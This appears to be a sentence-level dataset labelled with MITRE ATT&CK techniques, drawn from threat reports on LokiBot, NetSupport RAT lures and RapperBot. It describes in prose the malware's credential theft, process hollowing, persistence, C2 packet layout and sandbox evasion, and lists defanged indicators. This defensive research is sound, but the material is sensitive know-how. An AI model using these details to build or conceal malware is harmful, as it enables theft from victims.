{"sentence": "Palo Alto Networks customers receive protections from and mitigations for LokiBot information stealer C2 communication in the following ways: Table of Contents IntroductionLokiBot Malware AnalysisFirst", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "StageLoaderFinal PayloadObfuscationMain", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Stealing FeaturePersistenceHTTP C2 CommunicationConclusionIndicators of CompromiseSamplesInfrastructureAdditional ResourcesAppendix Introduction LokiBot (often referred to as Loki-bot or Loki PWS) is notorious information-stealing malware.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It collects sensitive data from web browsers, email clients, FTP servers and crypto wallets.", "labels": ["T1552.001"], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This threat then uploads this information to an attacker-controlled machine via HTTP POST.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The malware can also create a backdoor on the infected machine, enabling an attacker to install further malicious software.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "First identified in 2015, LokiBot has since been used in multiple security breaches.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Furthermore, the malware is constantly evolving, making it difficult to contain and protect against.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "During the winter holiday season of 2022, Unit 42 researchers noticed that our machine learning-based C2 detection solution identified a particular HTTP payload as malicious.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "After analyzing its traffic patterns, we identified that it belonged to a LokiBot infection.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "After investigating the attack vector delivering this malware and further network traffic activity, we found the original email that included a ZIP file attached, which contained an ISO file.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The ISO file had the final payload.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We have found that this attempt to deliver the LokiBot malware has strong ties to a BEC campaign.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "BEC entails gaining unauthorized access to email leading to financial fraud, and it is one of the most prevalent and costly forms of cyberattacks today.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Signs of BEC include fraudulent wire transfer requests, as well as spam or phishing emails sent from a customer’s corporate domain.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Victims might also notice missing or deleted emails due to unauthorized access to email systems.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Malspam delivers a LokiBot sample.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "When collecting data, we also analyzed additional threat intel data sources such as ThreatFox.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We noticed that LokiBot activity had a relatively small amount of indicators of compromise (IoCs) when we first detected this sample.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "However, during the end of 2022, the number of occurrences peaked in the last three days of December.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Threat actors often increase their attack efforts during U.S. or other targeted nations' holidays.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "During this time, cyberattacks are often more effective as security and other personnel take this time off.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 2 shows LokiBot activity from ThreatFox. Figure 2.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "ThreatFox LokiBot monitoring.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Data source: ThreatFox.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "LokiBot Malware Analysis First Stage", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The ISO file format is typically used to package the contents of an optical disc.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "In this instance, it is used to deliver the LokiBot malware.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "By using this file format, the attackers are trying to bypass malspam detection technologies that usually focus on detecting file types more commonly used in malware infection chains (e.g., EXE and DLL files, MS Office files).", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "ISO files are also attractive to attackers because, while specific software was required to open them in the past, Windows includes an ISO file opener that mounts and opens the file with a simple double-click.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "To the victim, the opening process simply looks like a regular directory.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Loader Opening the ISO file gives us access to a PE EXE file that is actually a loader.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This file is an obfuscated .NET file using process hollowing, which is a code injection technique in which an attacker removes legitimate code from an executable and replaces it with malicious code.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "In this case, process hollowing was used to inject a malicious PE file into the legitimate process called aspnet_compiler.exe.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 3 shows some IoCs in the memory of the infected process.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Dumping the PE from the process memory gives us access to the final LokiBot payload.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The infected process that contains IoCs.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Final Payload Obfuscation This LokiBot sample only uses one code obfuscation technique: API hashing.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Malware authors use this technique to retrieve export functions from loaded libraries using a computed hash.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Replicating the hashing function implementation allows us to retrieve the corresponding APIs in the appropriate library.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 4 shows a Python implementation of the API hashing algorithm used in the malware sample.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "API hashing algorithm.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Main Stealing Feature The main function of the sample is building two arrays of 101 elements.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The first array is filled with indexes, and the second array is filled with pointers to functions.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The latter are the stealing functions.", "labels": ["T1552.001"], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "These functions are made to steal credentials from different types of applications and services on the Windows operating system: Browsers: Safari, Internet Explorer, Firefox and Chromium-based browsers FTP/SSH apps and clients Backup applications Email applications Notes applications Poker applications Password managers Windows credentials The main function of the malware is looping over these stealer functions to execute them, as shown in Figure 5. Figure 5.", "labels": ["T1552.001"], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Main stealer function loop.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "All the credentials collected and extracted from the installed software will then be compressed by the aPLib algorithm and submitted to the C2 server through HTTP protocol using the POST method.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We’ll go into this in more detail in the HTTP C2 Communication section.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Persistence In order to establish persistence on the targeted host, the malware starts by saving a copy of itself in a new folder in the %APPDATA% directory via the MoveFileExW or CopyFileW Windows API.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Then, it creates and sets a new value for the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This value, named as the created folder, is set to the path of the copied executable.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "HTTP C2 Communication LokiBot exfiltrates information to the C2 through the HTTP protocol.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This information includes the bot's version number (1.8) and can be found in the two bytes of the HTTP payload.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It also contains a User-Agent set as “Mozilla/4.08 (Charon; Inferno)”, and the Content-Key, which is a custom HTTP header whose value corresponds to a hash generated out of the HTTP header.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 6 shows a HTTP POST request and its corresponding message body.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This body contains the exfiltrated information, which is highlighted in different colors for each field.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We’ve also included the corresponding offset and size to provide a better visual reference of the data structure used by the malware, and to easily cross-reference each field of interest.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "HTTP POST request (type 27 / data exfiltration).For a detailed list of each data field (offset and size) of the HTTP body (payload) please refer to the Appendix section.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Similar to other information-stealing malware, this threat searches for and exfiltrates the following information: OS architecture Built-in admin Domain host name Hostname Local admin Operating system Screen resolution Username information The exfiltrated data that is unique to this information stealer malware includes the following: Unique key, which is an identifier that includes five randomly generated characters Binary ID, which indicates a domain that is commonly used in LokiBot infections (ckav[.]ru) Mutex value, which consists of a 24-character length string (taken from hashing the machine’s GUID using the MD5 algorithm)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Potential hidden files (e.g., %APPDATA%\\\\079D53\\\\3AFB91.hdb), which are taken from the mutex value (for directory name with a character range from 8-13 bytes and a file name with a character range from 13-18 bytes) Hash database (.hdb) Keylogger database (.kdb) Lock file (.lck) Malware EXE (.exe)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The bot also makes use of different payload types (located at the third and fourth byte of the HTTP body).", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "These types include the following: Stolen application/credential data (0x27) Get C2 commands from C2 Server (0x28) Exfiltrate keylogger data (0x2B) Other versions of this malware family can use additional payload types depending on the final action including the following: Exfiltrate cryptocurrency wallet (0x26) Exfiltrate files (0x29)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Exfiltrate PoS data (0x2a)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Exfiltrate screenshots (0x2c) Conclusion LokiBot malware has been used by attackers for many years.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "There have been multiple versions of this threat.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It takes a lot of effort for any security team to constantly monitor the behavior changes in the malware and add the necessary protections.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The Palo Alto Networks machine learning-based C2 detection solution, as part of Advanced Threat Prevention, detects and stops malicious C2 activity inline.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The model is regularly updated with the latest C2 communication from various types of malware.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This ensures that the detection capabilities are always up to date and capable of countering the ever-evolving threats posed by malicious actors.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We would like to extend our gratitude to Doel Santos from Unit 42 and Nina Smith for helping on this investigation.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Palo Alto Networks customers receive protections from and mitigations for LokiBot information stealer C2 communication in the following ways: We have distilled the knowledge we’ve gained from responding to hundreds of BEC incidents into our BEC Readiness Assessment offering, which is designed to help organizations strengthen their processes and technology to mitigate threats like the ones discussed in this blog.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Learn more about the Cyber Threat Alliance. Indicators of Compromise Samples ZIP file: 4edd01345f58b9cc04a88ca15d6b82895f44f5b9cb51ad63b809de09029670ac ISO: 8a5a024272361bb1ae12860c033bb52685d7b0ea3bce5fac46439f3f3ad36a84 Loader: 1b574a66c84924886daec4841e1b107258e019aaf6f336329ae8fae7cbd52a34 Infrastructure efvsx[.]gq 188.114.96[.]13 Additional Resources Appendix Field Description Offset Size LokiBot version 0x0 0x2 Payload type 0x2 0x2 BinaryID unicode 0x4 0x2 BinaryID length 0x6 0x4", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "BinaryID string 0xa 0x7 Username unicode 0x11 0x2 Username length 0x13 0x4 Username string 0x17 0x12 Hostname unicode 0x29 0x2 Hostname length 0x2b 0x4 Hostname string 0x2f 0x16 Domain hostname unicode 0x45 0x2 Domain hostname length 0x47 0x4 Domain hostname string 0x4b 0x16 Screen width 0x61 0x4", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Screen height 0x65 0x4 Local admin 0x69 0x2 Built-In admin 0x6b 0x2 64-bit OS 0x6d 0x2 OS major 0x6f 0x2 OS minor 0x71 0x2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Researchers at ASEC recently reported on a NetSupport RAT campaign that utilizes Pokemon as the social engineering lure.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Threat actors staged a malicious website, hosting a Pokemon-based NFT game, offering both a fun and financially rewarding experience.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In reality, those drawn into the site are coerced into downloading the trojanized NetSupport RAT client, allowing attackers full access to their device.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT has been observed in numerous attacks on enterprise environments over the years, and Pokemon is just the latest in a long line of creative lures used to distribute and drop NetSupport RAT.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "It is frequently used by cybercriminals as a ‘quick solution’ in lieu of implementing something more bespoke.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In this post, we provide an overview of NetSupport RAT and discuss the technical details of a recent campaign.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Background NetSupport RAT is based on NetSupport Manager, a legitimate tool which is frequently used by bad actors for malicious purposes in ways similar to TeamViewer.", "labels": ["T1219"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport Manager, used maliciously or otherwise, provides full and complete control over the target device.", "labels": ["T1219"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Once the client has been installed, attackers can access, acquire, and manipulate any data on the device (exfiltrate data, execute additional payloads).", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In addition, the software allows at least the following: Real-time screen monitoring, optimized for monitoring multiple devices Taking control or redirect user screens Capturing screenshots, audio, video Malicious versions are constantly being sold or rented out via underground crime marketplaces.", "labels": ["T1113"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport Manager RAT offered for rental As NetSupport Manager is a legitimate tool that has a long history of development, it is highly attractive to attackers as it can be relied on to work ‘out of the box’.", "labels": ["T1219"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Additionally, it is thoroughly documented and actively supported: benefits that are less likely with custom-built malware that provides similar functionality such as Andromeda, Nanocore, CirenegRAT, Dark Comet and others.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Malicious use of NetSupport Manager (aka NetSupport RAT) has been observed since at least late 2017.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "The use of “legitimate” or COTS (Commercial off the Shelf) tools is highly beneficial to attackers when attempting to achieve the greatest degree of stealth.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Custom-written malware can often be detected by some layer of protection, such as EPP and EDR tools, so it is often advantageous to utilize a legitimate tool, even if it takes some creativity to deliver the remote software client.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "ASEC reported that the NetSupport RAT droppers were delivered via phishing emails that entice targets to install a “Pokemon card game”.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "On doing so, the victim unknowingly installs the NetSupport RAT, a doctored version of the NetSupport Manager client (client32.exe) that gives the attacker immediate and direct control of the infected device.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "While this specific attack was centered around the Pokemon theme, other phishing lures are known to be used.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Some recent NetSupport RAT campaigns utilize .ISO", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "files as droppers.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "This allows the attackers to evade certain types of detection.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "This technique has been used by ransomware actors as well such as by both Maze and Ragnar Locker.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "When opened, the ISO files will contain either the NetSupport RAT installer (with configs/support files) or a .LNK file redirecting the victim to said installer.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Technical Details A typical example of this kind of .ISO file is the sample CLF_security.iso (288603f501926756c236e368a1fdc7d128f4f9a1).", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "This particular .ISO contains an embedded .EXE file (CLFSECUR.EXE) which is then utilized to drop and execute the installer for NetSupport RAT.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Sample 4233ff7941da62b86fc2c2d92be0572c9ab534c8 has been observed in multiple ISO files masquerading as legitimate software, including: CodeTwo Exchange Manager PCFresh 2022 SDK Tools Google Chrome Google Crash Handler Steelray Project Setup BrowserRenew.iso CLFsecurity.", "labels": ["T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "ISO Cloudflare_security_setup.iso The RAT installation is disguised to look similar to a Google Chrome installation.", "labels": ["T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT installer disguised as Google Chrome setup.", "labels": ["T1027", "T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "The sample is obfuscated via the Babadeda crypter.", "labels": ["T1027"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "When executed, a base64 encoded string is used to specify various parameters including sessionID and other critical values to the NetSupport connection.", "labels": ["T1027"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Base64 encoded RAT execution command The command decodes to look similar to the following: NetSupport RAT decoded command Persistence for the RAT is achieved via registry entry, and a shortcut to the installed RAT executable is written to the Startup folder.", "labels": ["T1027", "T1140", "T1547.001"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "For example: ~\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\NetSupport.url In this case, the shortcut links to \\AppData\\Roaming\\Steelray", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Project Viewer", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In addition, the sample generates a scheduled task with multiple triggers.", "labels": ["T1053.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT Persistence via Scheduled Task Install directory of NetSupport RAT The RAT performs a number of discovery operations to understand its host environment.", "labels": ["T1053.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Network adapter details are pulled via GetAdaptersAddresses.", "labels": ["T1016"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Additional data is gleaned via WMI queries such as: SELECT *", "labels": ["T1047", "T1082"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "FROM Win32_ComputerSystem SELECT *", "labels": ["T1082"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "FROM Win32_SystemEnclosure", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "The malware deploys some anti-analysis measures such as attempting to detect the presence of a debugger via IsDebuggerPresent, and all running processes are enumerated and logged via EnumProcesses (32-bit processes).", "labels": ["T1057"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Launch behavior, including delays in execution or outgoing connection, can be controlled by the attacker.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "For example, Sleep statements may be used to delay execution by hours in order to trick sandboxes used in malware analysis or simply to disguise the association between the infection and the social engineering event from the user.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Network requirements vary across different NetSupport Manager configurations and sessions.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In the analyzed sample, the client opens a port on TCP 50275 to receive network connections.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT has the ability to drop and execute additional components.", "labels": ["T1105"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In this particular campaign, system/log data and executable code is dropped into %temp%.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT data in %temp%.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Data files and executables are also written to ~\\Program Files (x86) \\Google\\Temp.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "These files are all self-deleted after launch or full installation of the attacker configuration.", "labels": ["T1070.004"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "A large number of legitimate Google Chrome support files are also written to this location.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "These are used by the malware in order to facilitate the fake Google Chrome installation.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Conclusion NetSupport Manager is a long-standing tool which, like TeamViewer, has unfortunately attracted ample use by cybercriminals.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT, once installed, is very robust and powerful, and threat actors are able to masquerade the dropper or installer in any way they see fit.", "labels": ["T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In addition, threat actors using this tool are very quick to update their lures and find ways to entice their victims into installing the malicious remote control software.", "labels": ["T1204.002"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "SentinelOne Singularity provides protection against malicious behaviors associated with NetSupport RAT. Indicators of Compromise SHA1 Samples 593966f38d6b062bec8534ec070a194ac3a3c3d8 3a511941b09fdfed1b53bd89e55be7a3211b19c2 16cf01d8e0753e4b6fac781266d033996af6731d f1c454645ab0adec41765f29861a5b5dd9bda313 0ef99e15452154c240f80c874384d04c46b154a0 ec7e8093b8d35a0e6fbf7b1869d685f0be0e8108 dfc9b696267ae466c6ffa44e63e314df79264afd 4c5771b7fb683b160cb1f7396d39dd706aa7021d ee3c0579cbcdb5f50ff8cd750a59d89d7757d7a4 288603f501926756c236e368a1fdc7d128f4f9a1 06906aee0ddba30e560e4b60e140e0c098519bb2 7c090065de1090fa92ff01f06739fbca04e6936d 61679dbe1d13d9c25000142fd51b9f4e952a7098 2d6b1900e093c9c8bcce642792e3fadc90b3b0ac 171692daf0a136154edde6e22c791d238ae8c1d0 4233ff7941da62b86fc2c2d92be0572c9ab534c8 DNS/Domains she32rn1[.]com MITRE ATT&CK T1219 – Remote Access Software T1053.005 – Scheduled Task/Job: Scheduled Task T1047 – Windows Management Instrumentation T1564.001 – Hide Artifacts: Hidden Files and Directories T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1564.003 –", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Hide Artifacts: Hidden Window T1036 – Masquerading T1112 – Modify Registry T1406.002 – Obfuscated Files or Information: Software Packing T1049 – System Network Connections Discovery T1083 – File and Directory Discovery T1057 – Process Discovery T1012 – Query Registry T1571 – Non-Standard Port", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Introduction", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Although ransomware is still a hot topic on which we will keep on publishing, we also investigate and publish about other threats.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Recently we explored the topic of infection methods, including malvertising and malicious downloads.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In this blog post, we provide excerpts from the recent reports that focus on uncommon infection methods and describe the associated malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "For questions or more information on our crimeware reporting service, please contact crimewareintel@kaspersky.com.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "RapperBot: “intelligent brute forcing” RapperBot, based on Mirai (but with a different C2 command protocol), is a worm infecting IoT devices with the ultimate goal to launch DDoS attacks against non-HTTP targets.", "labels": ["T1110"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "We observed the first sample in June 2022, when it was targeting SSH and not Telnet services.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The latest version, however, removed the SSH functionality part and now focuses exclusively on Telnet—and with quite some success.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In Q4 2022, we noticed 112k RapperBot infection attempts coming from over 2k unique IP addresses.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "What sets RapperBot apart from other worms is its “intelligent” way of brute forcing: it checks the prompt and, based on the prompt, it selects the appropriate credentials.", "labels": ["T1110"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This method speeds up the brute forcing process significantly because it doesn’t have to go over a huge list of credentials.", "labels": ["T1110"], "doc_title": "Uncommon infection methodspart 2"}
